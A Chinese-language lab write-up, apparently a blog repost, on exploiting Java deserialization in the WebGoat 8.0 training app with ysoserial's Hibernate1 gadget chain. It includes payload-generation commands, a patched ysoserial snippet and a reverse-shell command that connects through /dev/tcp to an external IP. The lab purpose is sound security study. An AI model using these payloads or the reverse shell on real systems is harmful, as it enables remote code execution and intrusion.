美文网首页万网极研社网络安全
Webgoat8.0反序列化获取shell

Webgoat8.0反序列化获取shell

作者: 你还没熟 | 来源:发表于2019-07-09 11:02 被阅读23次

    安装Webgoat靶场

    docker pull webgoat/webgoat-8.0
    docker run -p 8080:8080 -t webgoat/webgoat-8.0
    

    访问:192.168.58.147:8080/WebGoat,可直接访问则搭建成功,进去之后注册个账号。

    解题分析

    • 查看题目


    • 反编译webgoat-server的jar包(webgoat),查看BOOT-INF/lib/insecure-deserialization-8.0.0.M25.jar存在反序列化漏洞,且编码是base64url

    • 查看jar包的组件,groovy,hibernate-core,spring-core可能存在反序列化漏洞。

    生成payload

    使用hibernate-core 5生成payload

    • webgoat-server/BOOT-INF/lib下的hibernate-core.jar复制到ysoserial.jar同一目录
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "touch /tmp/test" | base64 -w0
    
    • 将数据进行提交得到,利用成功


    使用spring生成payload

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "touch /tmp/test1" | base64 -w0
    
    • 将数据进行提交,并没有利用成功


    使用groovy生成payload

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/test1" | base64 -w0
    
    • 将数据进行提交,同样没有利用成功


    1.jpg

    解题过程

    • 题目要求是服务器睡眠5s,利用hibernate-core 5生成payload
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "sleep 5" | base64 -w0
    
    • 并没有执行成功,查看进程已经执行,但是发现请求并非在执行sleep后并未等待命令结束就已经返回结果,需要将此处等待进程结束后返回,需要针对ysoserial的执行命令进行调整,重新生成payload进行测试。

    • ysoserial的生成Payload流程


    • 最终会进入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl()

    • 生成Payload的关键代码是箭头所指的地方。其中的command是攻击者输入。可以直接修改这个cmd为我们的命令。

    String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"sleep 5\"}).waitFor();";
     clazz.makeClassInitializer().insertAfter(cmd);
    
    • 然后运行mvn clean package -DskipTests重新编译ysoserial.jar
    • 使用下面的命令重新生成下,并将数据进行提交。
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0
    

    反弹shell

    • 同上可以直接修改这个cmd为我们的的反弹shell。
    String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/47.xxx.xxx.xxx.xxx/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
    clazz.makeClassInitializer().insertAfter(cmd);
    
    • 然后运行mvn clean package -DskipTests重新编译ysoserial.jar
    • 使用下面命令生成payload
    java -Dhibernate5 -cp hibernate-core-5.0.12.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "anything" | base64 -w0
    
    • 将数据进行提交,成功得到shell



    参考文献:
    https://blog.spoock.com/2018/10/31/reverse-shell-on-limited-environments/
    https://www.jianshu.com/p/0c45058e1723

    相关文章

      网友评论

        本文标题:Webgoat8.0反序列化获取shell

        本文链接:https://www.haomeiwen.com/subject/kvqnfctx.html